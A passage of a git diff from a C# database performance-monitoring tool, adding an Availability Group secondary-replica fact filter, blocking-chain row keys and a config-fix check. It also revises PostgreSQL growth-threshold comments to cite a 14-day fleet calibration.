+    /// The last good collection when it is older than <paramref name="cutoffUtc"/> (collection is not current), otherwise null.
+    /// A store that holds no collection at all (<paramref name="lastGoodCollectionUtc"/> null) has nothing to call stale:
+    /// the other empty-state notes (not collected, no access) say why it is empty.
+    /// </summary>
+    public static DateTime? NotCurrentSince(DateTime? lastGoodCollectionUtc, DateTime cutoffUtc)
+        => lastGoodCollectionUtc is DateTime last && last < cutoffUtc ? last : null;
+
+    /// <summary>The note shown where the jobs would be when collection is not current.</summary>
+    public static string NotCurrentNote(DateTime lastGoodCollectionUtc)
+        => string.Create(CultureInfo.InvariantCulture,
+            $"Collection is not current. The last good collection was at {lastGoodCollectionUtc:yyyy-MM-dd HH:mm} UTC, so no running jobs are shown.");
+}
diff --git a/PerformanceMonitor.Analysis/AnalysisContext.cs b/PerformanceMonitor.Analysis/AnalysisContext.cs
index 1bc516a73b..e394cc4354 100644
--- a/PerformanceMonitor.Analysis/AnalysisContext.cs
+++ b/PerformanceMonitor.Analysis/AnalysisContext.cs
@@ -25,6 +25,16 @@ public class AnalysisContext
     /// findings come from the databases' own targets. Null or empty changes nothing.
     /// </summary>
     public IReadOnlyList<string>? SeparatelyMonitoredDatabases { get; set; }
+
+    /// <summary>
+    /// The databases this node holds only as a SECONDARY copy in an Availability Group (#5558), resolved once per
+    /// pass at the same door as <see cref="SeparatelyMonitoredDatabases"/> from the store's own AG snapshots at or
+    /// before <see cref="TimeRangeEnd"/>. The facts whose data replicates from the primary
+    /// (<see cref="FactReplicaScope"/>) skip these databases, so the primary reports each finding once. Null or
+    /// empty changes nothing: every unknown (collector off, stale rows, standalone, Azure SQL Database) leaves it
+    /// null or empty, so the filter fails open.
+    /// </summary>
+    public IReadOnlySet<string>? SecondaryReplicaDatabases { get; set; }
     public string ServerName { get; set; } = string.Empty;
     public DateTime TimeRangeStart { get; set; }
     public DateTime TimeRangeEnd { get; set; }
@@ -240,6 +250,14 @@ public DateTime LatestValueStartFor(string collectorName) =>
     /// </summary>
     public bool? PlanRegressionReadsIntervalTable { get; set; }
 
+    /// <summary>
+    /// The window start the PLAN_REGRESSION fact actually read from (#5448), when it read per-day totals: the start of the
+    /// day the exact 14-day edge falls in, because the daily read moves the edge in whole days. Null when the fact read the
+    /// exact edge (raw, the interval table without day totals, or no fact), which is also what a drill-down without a fact
+    /// pass uses. The regressed-queries drill-down starts its window here when set, so its best plan is one the fact saw.
+    /// </summary>
+    public DateTime? PlanRegressionWindowStart { get; set; }
+
     /// <summary>
     /// Records one failed read. <paramref name="family"/> is the family label the caveat counts by
     /// (<see cref="CollectionFailure.FamilyOf"/> from the collect method's name on the SQL Server collectors,
@@ -368,18 +386,21 @@ public static string FamilyOf(string collectMethod)
 
 /// <summary>
 /// What a facts read hands its caller about collection (#3691): the failures and the family total off the
-/// context the read ran on, as ONE value so the read's tuple grows by one element rather than two. Returned
+/// context the read ran on, as ONE value so the read's tuple grows by one element rather than two (#5558 adds the
+/// secondary-replica set the read filtered with, riding the same value for the same reason; the callers build the
+/// <c>secondary_replica_note</c> from it with <c>AgReplicaScope.SkippedNote</c>, which this project cannot reference). Returned
 /// rather than parked on a service property for the reason <c>CollectAndScoreFactsAsync</c>'s coverage is:
 /// that path has no <c>IsAnalyzing</c> guard, two on-demand callers can overlap, and a shared property would
 /// let one read the other's failures.
 /// </summary>
-public sealed record CollectionCaveatState(IReadOnlyList<CollectionFailure> Failures, int FamiliesTotal)
+public sealed record CollectionCaveatState(
+    IReadOnlyList<CollectionFailure> Failures, int FamiliesTotal, IReadOnlySet<string>? SecondaryReplicaDatabases = null)
 {
     /// <summary>The state the context carries after its collector ran (or threw before recording anything).</summary>
     public static CollectionCaveatState From(AnalysisContext context)
     {
         ArgumentNullException.ThrowIfNull(context);
-        return new(context.CollectionFailures, context.CollectionFamilyCount);
+        return new(context.CollectionFailures, context.CollectionFamilyCount, context.SecondaryReplicaDatabases);
     }
 
     /// <summary>True when at least one family failed — the only case in which anything is emitted.</summary>
diff --git a/PerformanceMonitor.Analysis/BlockingChainReconstructor.cs b/PerformanceMonitor.Analysis/BlockingChainReconstructor.cs
index b020c3ee75..2a1fc936ed 100644
--- a/PerformanceMonitor.Analysis/BlockingChainReconstructor.cs
+++ b/PerformanceMonitor.Analysis/BlockingChainReconstructor.cs
@@ -48,6 +48,9 @@ internal sealed class BlockingPairRow
     public string BlockingClientApp { get; set; } = string.Empty;
     /// <summary>The contended object (schema.object where resolvable) — the blocked row's contentious_object.</summary>
     public string ContentiousObject { get; init; } = string.Empty;
+
+    /// <summary>This row's <see cref="PairRowKey"/> (#5361).</summary>
+    public PairRowKey Key => new(EventTime, BlockedSpid, BlockedEcid, BlockingSpid, BlockingEcid);
 }
 
 /// <summary>
@@ -62,6 +65,10 @@ internal sealed class BlockingPairRow
 /// <summary>One level (one blocked/blocker edge) of a reconstructed chain, for drill-down.</summary>
 internal sealed class ChainLevel
 {
+    /// <summary>The event time of the pair-row this level was built from (#5361). With the two spid:ecid pairs it is the
+    /// level's <see cref="Key"/>: the drill-downs read the pair-rows without statement text and fetch the whole text of
+    /// only the levels they show, by this key.</summary>
+    public DateTime EventTime { get; init; }
     public int Level { get; init; }
     public int BlockingSpid { get; init; }
     public int BlockingEcid { get; init; }
@@ -84,8 +91,19 @@ internal sealed class ChainLevel
     public string BlockingClientApp { get; init; } = string.Empty;
     /// <summary>The contended object for this edge — the blocked side's contentious_object.</summary>
     public string ContentiousObject { get; init; } = string.Empty;
+
+    /// <summary>The key that finds this level's pair-row again (#5361): the same five values as
+    /// <see cref="BlockingPairRow.Key"/>, from the row the level was built from.</summary>
+    public PairRowKey Key => new(EventTime, BlockedSpid, BlockedEcid, BlockingSpid, BlockingEcid);
 }
 
+/// <summary>
+/// The event key of one pair-row (#5361): its event time and both sides' spid:ecid, with a missing spid or ecid
+/// read as 0 exactly as <c>Read</c> maps it. Two rows of one source with the same key are the same event, so the
+/// drill-downs fetch statement text by it, for the levels they show, after the reconstruction picked the rows.
+/// </summary>
+internal readonly record struct PairRowKey(DateTime EventTime, int BlockedSpid, int BlockedEcid, int BlockingSpid, int BlockingEcid);
+
 /// <summary>A single reconstructed blocking chain, rooted at an apex head blocker.</summary>
 internal sealed class ReconstructedChain
 {
@@ -436,6 +454,7 @@ private static (int VictimCount, long MaxWaitMs, List<ChainLevel> Levels) WalkCh
 
                 levels.Add(new ChainLevel
                 {
+                    EventTime = row.EventTime,
                     Level = level + 1,
                     BlockingSpid = node.Spid,
                     BlockingEcid = node.Ecid,
diff --git a/PerformanceMonitor.Analysis/FactRemediation.cs b/PerformanceMonitor.Analysis/FactRemediation.cs
index 4b27c58d73..58022522c5 100644
--- a/PerformanceMonitor.Analysis/FactRemediation.cs
+++ b/PerformanceMonitor.Analysis/FactRemediation.cs
@@ -1234,6 +1234,20 @@ observedAtUtc is DateTime t
             ? DateTime.SpecifyKind(t, DateTimeKind.Utc).ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture)
             : "(no snapshot time)";
 
+    /// <summary>
+    /// Whether the action is a standing CONFIG fix: a database-config, RCSI, percent-autogrowth file or
+    /// server-config target list is non-empty. Force-plan, clear-plan and missing-index actions are not config
+    /// fixes, so those findings stay incidents. The viewer card and the MCP <c>is_config_fix</c> field share this.
+    /// </summary>
+    public static bool IsConfigFix(RemediationAction? action)
+    {
+        if (action is null) return false;
+        return (action.DbConfigTargets?.Count ?? 0) > 0
+            || (action.RcsiTargets?.Count ?? 0) > 0
+            || (action.FileGrowthTargets?.Count ?? 0) > 0
+            || (action.ServerConfigTargets?.Count ?? 0) > 0;
+    }
+
     /// <summary>
     /// The machine-first remediation projection (#2138) — see <see cref="StructuredRemediation"/> for
     /// why it exists and why it is built at read time rather than persisted. Null when the action is
diff --git a/PerformanceMonitor.Analysis/FactReplicaScope.cs b/PerformanceMonitor.Analysis/FactReplicaScope.cs
new file mode 100644
index 0000000000..05337d3bd9
--- /dev/null
+++ b/PerformanceMonitor.Analysis/FactReplicaScope.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Analysis;
+
+/// <summary>Whether a fact's data is the same on every replica of an Availability Group, or belongs to this node.</summary>
+public enum FactReplicaKind
+{
+    /// <summary>Real work or state of THIS node (a query that ran here, a wait, blocking, a disk). Kept on a
+    /// secondary: it happened here and no other node reports it.</summary>
+    NodeLocal,
+
+    /// <summary>Data that replicates from the primary (database settings, Query Store content, the shape of the
+    /// objects), so every node would report the same finding for the same database. Skipped for the databases
+    /// this node holds only as a secondary copy (<see cref="AnalysisContext.SecondaryReplicaDatabases"/>).</summary>
+    Replicated,
+}
+
+/// <summary>
+/// The one table that decides which per-database facts are filtered on a secondary replica (#5558). A wrong call
+/// is a one-line flip here; the collectors ask <see cref="SecondariesFor"/> and never hard-code a fact key.
+/// A key that is in neither list, and not in a family, is <see cref="FactReplicaKind.NodeLocal"/>: an unknown fact
+/// is kept, so the filter fails open. <c>FactReplicaScopeCoverageTests</c> fails when a fact key a collector emits
+/// is missing from this table, so a new fact is a deliberate choice rather than a silent default.
+/// </summary>
+public static class FactReplicaScope
+{
+    /// <summary>The replicated facts. DB_CONFIG is database settings (sys.databases); FILE_AUTOGROWTH_PERCENT is the
+    /// file growth setting (sys.master_files, and the ALTER it suggests cannot run on a secondary either);
+    /// PLAN_REGRESSION is Query Store content, which a secondary shows as the primary's; ANOMALY_OBJECT_GROWTH is
+    /// computed from reserved_mb, which mirrors the primary.</summary>
+    private static readonly string[] ReplicatedKeys =
+    [
+        "DB_CONFIG",
+        "FILE_AUTOGROWTH_PERCENT",
+        "PLAN_REGRESSION",
+        "ANOMALY_OBJECT_GROWTH",
+    ];
+
+    /// <summary>The facts that stay on every node: server-level state, and per-database work that ran on this node.</summary>
+    private static readonly string[] NodeLocalKeys =
+    [
+        // Per-database, node-local: real workload on this node (a readable secondary can run reporting).
+        "MISSING_INDEX", "PLAN_WARNING", "BAD_ACTOR", "PARAMETER_SENSITIVITY", "QUERY_SPILLS", "QUERY_HIGH_DOP",
+        "PROCEDURE_STATS", "PLAN_CACHE_BLOAT", "IO_READ_LATENCY_MS", "IO_WRITE_LATENCY_MS",
+        "DATABASE_TOTAL_SIZE_MB", "DISK_SPACE", "TEMPDB_USAGE", "BLOCKING_EVENTS", "BLOCKING_CHAIN", "DEADLOCKS",
+        "ANOMALY_OBJECT_CONTENTION",
+        // Server-level.
+        "TRACE_FLAGS", "SERVER_EDITION", "SERVER_MAJOR_VERSION", "SESSION_STATS", "RUNNING_JOBS", "RUNNABLE_TASKS",
+        "ACTIVE_QUERIES", "CPU_SQL_PERCENT", "CPU_SPIKE", "MEMORY_TOTAL_PHYSICAL_MB", "MEMORY_TARGET_MB",
+        "MEMORY_PRESSURE_EVENTS", "MEMORY_GRANT_PENDING", "MEMORY_CLERKS", "MEMORY_BUFFER_POOL_MB",
+        // Server-level anomalies.
+        "ANOMALY_WRITE_LATENCY", "ANOMALY_WAIT_PROFILE", "ANOMALY_SESSION_SPIKE", "ANOMALY_READ_LATENCY",
+        "ANOMALY_QUERY_DURATION", "ANOMALY_MEMORY_PRESSURE", "ANOMALY_DEADLOCK_SPIKE", "ANOMALY_CPU_SPIKE",
+        "ANOMALY_BLOCKING_SPIKE", "ANOMALY_BATCH_REQUESTS",
+    ];
+
+    /// <summary>Families whose keys are built at run time: server settings (CONFIG_*, server level), one fact per
+    /// bad-actor query (BAD_ACTOR_*, a query that ran on this node), and DB_CONFIG sub-keys (replicated).</summary>
+    private static readonly (string Prefix, FactReplicaKind Kind)[] Families =
+    [
+        ("DB_CONFIG_", FactReplicaKind.Replicated),
+        ("BAD_ACTOR_", FactReplicaKind.NodeLocal),
+        ("CONFIG_", FactReplicaKind.NodeLocal),
+    ];
+
+    private static readonly Dictionary<string, FactReplicaKind> Table = BuildTable();
+
+    private static Dictionary<string, FactReplicaKind> BuildTable()
+    {
+        var table = new Dictionary<string, FactReplicaKind>(StringComparer.Ordinal);
+        foreach (var key in ReplicatedKeys) table[key] = FactReplicaKind.Replicated;
+        foreach (var key in NodeLocalKeys) table[key] = FactReplicaKind.NodeLocal;
+        return table;
+    }
+
+    /// <summary>Every literal key in the table, for the coverage test.</summary>
+    public static IReadOnlyCollection<string> KnownKeys => Table.Keys;
+
+    /// <summary>True when the key is in the table or one of its families. Wait-type facts (one key per wait type)
+    /// are not in the table: they are all node-local and fall to the default.</summary>
+    public static bool IsKnown(string key) =>
+        Table.ContainsKey(key) || Families.Any(f => key.StartsWith(f.Prefix, StringComparison.Ordinal));
+
+    /// <summary>The key's kind. Unknown keys are node-local: kept, never filtered.</summary>
+    public static FactReplicaKind Of(string key)
+    {
+        if (Table.TryGetValue(key, out var kind)) return kind;
+        foreach (var (prefix, familyKind) in Families)
+            if (key.StartsWith(prefix, StringComparison.Ordinal)) return familyKind;
+        return FactReplicaKind.NodeLocal;
+    }
+
+    /// <summary>The database names (exact casing: see <c>AgReplicaScope</c>, "Name matching") a <paramref name="factKey"/> read must skip on this pass: the context's
+    /// secondary set when the key is <see cref="FactReplicaKind.Replicated"/>, else empty. A read builds its
+    /// predicate from a non-empty answer and leaves its SQL byte-identical on an empty one.</summary>
+    public static string[] SecondariesFor(AnalysisContext context, string factKey)
+    {
+        if (context.SecondaryReplicaDatabases is not { Count: > 0 } set) return [];
+        if (Of(factKey) != FactReplicaKind.Replicated) return [];
+        return Names(set);
+    }
+
+    /// <summary>The set's names as they are, de-duplicated and ordered, for an exact SQL <c>database_name</c> compare.</summary>
+    public static string[] Names(IEnumerable<string> names) =>
+        names.Distinct(StringComparer.Ordinal).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+
+    /// <summary>A DuckDB predicate fragment (leading AND) that drops rows of the skipped databases, with positional
+    /// parameters starting at <paramref name="firstParameter"/>; empty when there is nothing to skip. A NULL
+    /// database passes. Add the values with <see cref="Names"/> in the same order.</summary>
+    public static string PositionalFilter(string[] names, string column, int firstParameter)
+    {
+        if (names.Length == 0) return string.Empty;
+        var placeholders = string.Join(", ", names.Select((_, i) => "$" + (firstParameter + i)));
+        return " AND (" + column + " IS NULL OR " + column + " NOT IN (" + placeholders + "))";
+    }
+}
diff --git a/PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs b/PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs
index 557a8afa10..34efc8f682 100644
--- a/PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs
+++ b/PerformanceMonitor.Analysis/PgTargetAdvice.Growth.cs
@@ -29,7 +29,7 @@ namespace PerformanceMonitor.Analysis;
 /// one-off load inside the lookback reads as the same bytes as a steady drift, and the anomaly beside this card is
 /// what tells the two apart.</para>
 ///
-/// <para>Every bar the card quotes is chosen, not measured (the table is a day old) and the investigation says so;
+/// <para>Every bar the card quotes is measured (#4404: 14 days of the dogfood fleet, 2026-10-06) and the investigation says so;
 /// the <c>withheld</c> shapes — nothing sized, too few samples — get their own card, because a fact the role could
 /// not measure must never read as "no growth".</para>
 /// </summary>
@@ -51,8 +51,8 @@ public static partial class PgTargetAdvice
             "pg_database_size_stats samples every database's size hourly (the engine's own per-database size figure), and the instance total beside it. " +
             "This finding is a TREND, never a spot size: the latest size against the earliest sample inside a fourteen-day " +
             "lookback ending at the analysis window, graded only when the growth is both at least 1 GB and at least 10 % of " +
-            "where the database started (25 % and 10 GB is the critical line). Both lines are chosen, not measured — the " +
-            "table is new and no fleet distribution exists yet — and the fact carries threshold_lineage = 0 to say so. A " +
+            "where the database started (25 % and 10 GB is the critical line). Both lines are measured against the dogfood fleet " +
+            "(393 databases on 50 Aurora clusters, 14 days, 2026-10-06): growth had median 0 and 95th percentile 1.10 GB, so the lines stand as written (threshold_lineage = 1). A " +
             "database the monitoring role may not size is excluded and counted, never read as zero growth; the instance " +
             "total is NULL whenever one such database exists, because a sum over the databases this role can see is not " +
             "the instance total.",
@@ -130,7 +130,7 @@ private static AdviceBlock ComposeDatabaseGrowth(IReadOnlyDictionary<string, Fac
             inv.Append($"The instance total could not be trended: {unsized:0} database{(unsized == 1 ? string.Empty : "s")} could not be sized by the monitoring role (no CONNECT privilege and not a member of pg_read_all_stats — on a managed service, typically the vendor's own database), the collector writes the total as NULL on every row in that case, and a sum over the databases this role can see is not the instance total. Their growth is unknown, not zero. ");
         }
 
-        inv.Append($"The line is chosen, not measured — growth of at least {FmtBytes(PgTargetScorer.GrowthConcerningBytes)} AND at least {Pct(100.0 * PgTargetScorer.GrowthConcerningFraction)} of the earliest size; {FmtBytes(PgTargetScorer.GrowthCriticalBytes)} AND {Pct(100.0 * PgTargetScorer.GrowthCriticalFraction)} is the critical line, and the grade is the weaker arm's — the table behind this family is new and no fleet distribution has been read for it (threshold_lineage = 0 on this fact). ");
+        inv.Append($"The line is measured against the dogfood fleet (393 databases on 50 Aurora clusters, 14 days, 2026-10-06) — growth of at least {FmtBytes(PgTargetScorer.GrowthConcerningBytes)} AND at least {Pct(100.0 * PgTargetScorer.GrowthConcerningFraction)} of the earliest size; {FmtBytes(PgTargetScorer.GrowthCriticalBytes)} AND {Pct(100.0 * PgTargetScorer.GrowthCriticalFraction)} is the critical line, and the grade is the weaker arm's — the fleet read confirmed these lines rather than moved them (threshold_lineage = 1 on this fact). ");
         inv.Append(graded
             ? subject == PgTargetScorer.GrowthSubjectInstance
                 ? "The instance total crossed it. "
@@ -194,7 +194,7 @@ private static AdviceBlock ComposeGrowthUnavailable(int reason, double lookback,
                 break;
             default:
                 headline = $"Database growth has sized databases, but none has {PgTargetScorer.GrowthMinimumSamples} hourly samples in the lookback yet";
-                inv.Append($"A trend needs {PgTargetScorer.GrowthMinimumSamples} samples before it is graded (a chosen minimum, not a measured one — threshold_lineage = 0 on this fact). The size collector is hourly, so this is a store younger than three hours of PostgreSQL collection, or a target the collector has only just reached. ");
+                inv.Append($"A trend needs {PgTargetScorer.GrowthMinimumSamples} samples before it is graded (three hourly samples is a floor on store age, not a tuned bar: in the fleet read of 2026-10-06, 391 of 393 databases had the full 14 days of samples — threshold_lineage = 1 on this fact). The size collector is hourly, so this is a store younger than three hours of PostgreSQL collection, or a target the collector has only just reached. ");
                 rem.Append("Nothing to do but wait for the collector: the fact grades itself once three hourly samples exist for a sized database. ");
                 break;
         }
diff --git a/PerformanceMonitor.Analysis/PgTargetFactKeys.cs b/PerformanceMonitor.Analysis/PgTargetFactKeys.cs
index f92cc11a4a..fb887979ab 100644
--- a/PerformanceMonitor.Analysis/PgTargetFactKeys.cs
+++ b/PerformanceMonitor.Analysis/PgTargetFactKeys.cs
@@ -464,7 +464,7 @@ adds the Seq-Scan advisory from plan_json × pg_predicate_stats in the same fami
     /// the slope implies. Unsized databases (NULL <c>size_bytes</c> — the role may not size them) are excluded and
     /// COUNTED, never read as zero growth; fewer than three samples is <c>insufficient_samples</c>, not a trend. Named
     /// by the worst database through <see cref="Fact.ObjectName"/> / <see cref="Fact.DatabaseName"/>; the top three by
-    /// growth ride in metadata by name. Every bar unmeasured (the table is a day old) — <c>threshold_lineage = 0</c> on
+    /// growth ride in metadata by name. Every bar measured over 14 days of the dogfood fleet, 2026-10-06 (#4404) — <c>threshold_lineage = 1</c> on
     /// every fact. Lane 38.</summary>
     public const string DatabaseGrowth = "PG_DATABASE_GROWTH";
     /// <summary>The instance total's growth rate against its own baseline (<c>pg_database_growth_bytes_per_day</c>:
diff --git a/PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs b/PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs
index c5e3b9a12b..0aef3e3f8b 100644
--- a/PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs
+++ b/PerformanceMonitor.Analysis/PgTargetScorer.Growth.cs
@@ -25,13 +25,14 @@ namespace PerformanceMonitor.Analysis;
 /// COUNTED (<see cref="GrowthDatabasesUnsizedKey"/>) — never read as zero growth; a database with fewer than three
 /// samples in the lookback is not a trend and is not graded; a fact with nothing to grade says which gate withheld it.</para>
 ///
-/// <para><b>Lineage — every bar here is unmeasured, and the family says so.</b> The table is one day old at this
-/// family's birth (V136, 2026-09-20); the fleet calibration of 2026-09-19 ran before it existed and there is no
-/// growth distribution to cite. So the growth line (10 % AND 1 GiB), the critical line (25 % AND 10 GiB), the
-/// lookback (14 days), the three-sample minimum and the co-fire boosts are all <b>chosen, not measured — calibrate
-/// against <c>pg_database_size_stats</c> once it holds 14 d before the next release</b>, and every fact this
-/// family emits carries <c>threshold_lineage = 0</c> so <c>get_analysis_facts</c> shows it. No bar is a SQL Server
-/// constant reused by value (the SQL Server engine has no growth trend fact at all).</para>
+/// <para><b>Lineage — the bars are measured (#4404); the two co-fire boosts are not.</b> The table was one day old at
+/// this family's birth (V136, 2026-09-20) and the fleet calibration of 2026-09-19 ran before it existed, so every bar
+/// was first chosen. The 14-day read of 2026-10-06 (#4404) graded them over 393 databases on 50 Aurora PostgreSQL
+/// clusters: the growth line (10 % AND 1 GiB), the critical line (25 % AND 10 GiB), the lookback (14 days) and the
+/// three-sample minimum all stand as written, so every fact this family emits carries <c>threshold_lineage = 1</c>
+/// and <c>get_analysis_facts</c> shows it. The two co-fire boosts are severity lifts, not bars, and stay
+/// <b>unmeasured</b>: chosen, not measured. No bar is a SQL Server constant reused by value (the SQL Server engine
+/// has no growth trend fact at all).</para>
 ///
 /// <para><b>Why two arms on each line.</b> Bytes alone would name a 2 TB warehouse's routine week; a fraction alone
 /// would name a 200 MB sandbox doubling. Both must hold, and the grade is the WEAKER arm's ramp — 0.5 when both sit
@@ -49,25 +50,29 @@ public static partial class PgTargetScorer
     /// <summary>
     /// Days the trend reads back from the window END, regardless of the pass window: the analysis window is hours
     /// and a database grows in days, so the fact reads a LONGER span than the pass (the bloat family's shape) and
-    /// stamps <see cref="GrowthLookbackDaysKey"/>. Lineage: <b>unmeasured</b> — chosen, not measured: fourteen days
-    /// matches the bloat family's lookback so the two trends' spans agree and the growth → bloat edge compares like
-    /// with like; calibrate against <c>pg_database_size_stats</c> once it holds 14 d before the next release.
+    /// stamps <see cref="GrowthLookbackDaysKey"/>. Lineage: measured: confirmed, not moved — 391 of the 393 databases
+    /// graded had the full fourteen days (335 samples each) on 50 Aurora PostgreSQL clusters of the dogfood fleet,
+    /// 2026-10-06 (<c>pg_database_size_stats</c>, #4404). Fourteen days matches the bloat family's lookback so the two
+    /// trends' spans agree and the growth → bloat edge compares like with like.
     /// </summary>
     public const int GrowthLookbackDays = 14;
 
     /// <summary>
     /// Growth in bytes across the lookback at which the trend is a finding (with <see cref="GrowthConcerningFraction"/>).
-    /// Lineage: <b>unmeasured</b> — chosen, not measured: the table is one day old; a gibibyte in two weeks is the
-    /// smallest growth an operator is likely to plan storage around. Calibrate against <c>pg_database_size_stats</c>
-    /// once it holds 14 d before the next release.
+    /// Lineage: measured: confirmed, not moved — over 14 days on 393 databases of 50 Aurora PostgreSQL clusters
+    /// of the dogfood fleet, 2026-10-06 (<c>pg_database_size_stats</c>, #4404), growth had median 0 B and p95 1.10 GiB;
+    /// 23 databases met this bytes half and, with the fraction half, 1 met both. A gibibyte in two weeks is the
+    /// smallest growth an operator is likely to plan storage around.
     /// </summary>
     public const long GrowthConcerningBytes = 1024L * 1024 * 1024;
 
     /// <summary>
     /// Growth as a fraction of the EARLIEST size that must accompany <see cref="GrowthConcerningBytes"/>. Lineage:
-    /// <b>unmeasured</b> — chosen, not measured; ten per cent in two weeks is a doubling in about five months, the
-    /// slope at which "when does the disk fill" becomes a planning question. Calibrate against
-    /// <c>pg_database_size_stats</c> once it holds 14 d before the next release. An earliest size of ZERO satisfies
+    /// measured: confirmed, not moved — over 14 days on 393 databases of 50 Aurora PostgreSQL clusters of the dogfood
+    /// fleet, 2026-10-06 (<c>pg_database_size_stats</c>, #4404), growth had median 0 % and p95 37.0 %; 25 databases met
+    /// this fraction half and 1 met both halves (the fraction half alone mostly names small databases, which is why the
+    /// bytes half is ANDed in). Ten per cent in two weeks is a doubling in about five months, the slope at which "when
+    /// does the disk fill" becomes a planning question. An earliest size of ZERO satisfies
     /// this arm trivially (a tenth of nothing is nothing) — the bytes arm decides alone and the fact says the
     /// percentage is not computable rather than carrying an infinity.
     /// </summary>
@@ -75,23 +80,27 @@ public static partial class PgTargetScorer
 
     /// <summary>
     /// Growth in bytes at which the trend grades 1.0 (with <see cref="GrowthCriticalFraction"/>). Lineage:
-    /// <b>unmeasured</b> — chosen, not measured; calibrate against <c>pg_database_size_stats</c> once it holds 14 d
-    /// before the next release.
+    /// measured: confirmed, not moved — over 14 days on 393 databases of 50 Aurora PostgreSQL
+    /// clusters of the dogfood fleet, 2026-10-06 (<c>pg_database_size_stats</c>, #4404), the largest growth was 10.21 GiB;
+    /// 1 database met this bytes half and, with the fraction half, none met both. No database shrank by more than 10 %.
     /// </summary>
     public const long GrowthCriticalBytes = 10L * 1024 * 1024 * 1024;
 
     /// <summary>
     /// Growth as a fraction of the earliest size at which the trend grades 1.0 (with <see cref="GrowthCriticalBytes"/>):
-    /// a quarter in two weeks doubles in about two months. Lineage: <b>unmeasured</b> — chosen, not measured; calibrate
-    /// against <c>pg_database_size_stats</c> once it holds 14 d before the next release.
+    /// a quarter in two weeks doubles in about two months. Lineage: measured: confirmed, not moved — over 14 days on 393
+    /// databases of 50 Aurora PostgreSQL clusters of the dogfood fleet, 2026-10-06 (<c>pg_database_size_stats</c>, #4404),
+    /// 21 databases met this fraction half and none met both halves (the 21 are all small, so the bytes half keeps them out).
     /// </summary>
     public const double GrowthCriticalFraction = 0.25;
 
     /// <summary>
     /// Samples a database (or the instance total) needs inside the lookback before its trend is graded: two points
     /// are a line and three is the first count with a middle to disagree with the ends — the bloat family's index
-    /// minimum, for the same reason. Lineage: <b>unmeasured</b> — chosen, not measured; calibrate against
-    /// <c>pg_database_size_stats</c> once it holds 14 d before the next release. A fact withheld by this gate carries
+    /// minimum, for the same reason. Lineage: measured: confirmed, not moved — the read counted the databases that
+    /// had at least 3 samples, 393 of them, and 391 of those had 335, the full 14 days at the collector's hourly rate; it
+    /// shows the floor is small against a full lookback, not that the minimum never excludes a database (50 Aurora
+    /// PostgreSQL clusters of the dogfood fleet, 2026-10-06, <c>pg_database_size_stats</c>, #4404). A fact withheld by this gate carries
     /// <see cref="GrowthUnavailableReasonKey"/> = <see cref="GrowthReasonInsufficientSamples"/>.
     /// </summary>
     public const int GrowthMinimumSamples = 3;
@@ -99,7 +108,6 @@ public static partial class PgTargetScorer
     /// <summary>How many databases the fact names (the worst in <see cref="Fact.ObjectName"/>, all of them by name
     /// in metadata). Three, because the advice leads with one and mentions the others; the read's own bound, not a bar.</summary>
     public const int GrowthTopDatabases = 3;
-
     /// <summary>Boost when the bloat trend fired on a database this fact names — growth that is bloat is a different
     /// remedy than growth that is data. Lineage: <b>unmeasured</b> — chosen, not measured; calibrate against the
     /// dogfood PostgreSQL fleet's co-fire rates before the next release.</summary>
@@ -200,14 +208,15 @@ public static partial class PgTargetScorer
     /// <summary>
     /// The trend grade: nothing without a graded subject; otherwise the BEST of the named databases' and the instance
     /// total's two-arm grades (<see cref="GrowthGrade"/>), with <see cref="GrowthGradedSubjectKey"/> stamped so the
-    /// advice can say which it was. Every exit stamps <c>threshold_lineage = 0</c>: every bar in this family is chosen.
+    /// advice can say which it was. Every exit stamps <c>threshold_lineage = 1</c>: every bar in this family is measured (the co-fire boosts
+    /// are severity lifts, not bars).
     /// The fraction arm reads the earliest size from metadata, so an earliest zero passes it (a tenth of nothing) and
     /// the bytes line decides alone — the honest reading of a database created inside the lookback.
     /// </summary>
     private static double ScoreDatabaseGrowth(Fact fact)
     {
-        /* unmeasured: every bar in this family (see the class summary) — the flag is the family's, not one gate's. */
-        fact.Metadata["threshold_lineage"] = 0;
+        /* measured (Aurora, 2026-10-06, #4404): every bar in this family (see the class summary) — the flag is the family's, not one gate's. */
+        fact.Metadata["threshold_lineage"] = 1;
 
         if (fact.Metadata.GetValueOrDefault(GrowthAvailableKey) < 1)
             return 0.0;
@@ -252,13 +261,13 @@ private static double ScoreDatabaseGrowth(Fact fact)
     /// </summary>
     public static double GrowthGrade(double growthBytes, double? pct)
     {
-        /* unmeasured: GrowthConcerningBytes / GrowthConcerningFraction — chosen, not measured (see the constants). */
+        /* measured (Aurora, 2026-10-06, #4404): GrowthConcerningBytes / GrowthConcerningFraction (see the constants). */
         if (growthBytes < GrowthConcerningBytes)
             return 0.0;
         if (pct is { } fraction && fraction < 100.0 * GrowthConcerningFraction)
             return 0.0;
 
-        /* unmeasured: the ramps' ends are the chosen concerning and critical lines above. */
+        /* measured (Aurora, 2026-10-06, #4404): the ramps' ends are the concerning and critical lines above. */
         var bytesGrade = FactScorer.ApplyThresholdFormula(growthBytes, GrowthConcerningBytes, GrowthCriticalBytes);
         var pctGrade = pct is { } f
             ? FactScorer.ApplyThresholdFormula(f, 100.0 * GrowthConcerningFraction, 100.0 * GrowthCriticalFraction)
diff --git a/PerformanceMonitor.Analysis/PgTargetScorer.Plans.cs b/PerformanceMonitor.Analysis/PgTargetScorer.Plans.cs
index 3d2cd748a5..5187bedba7 100644
--- a/PerformanceMonitor.Analysis/PgTargetScorer.Plans.cs
+++ b/PerformanceMonitor.Analysis/PgTargetScorer.Plans.cs
@@ -95,7 +95,8 @@ public static partial class PgTargetScorer
     public const double PlanCoFireBoost = 0.3;
 
     /// <summary>
-    /// How many distinct <c>plan_hash</c> values one <c>query_id</c> must have been captured under in the window to
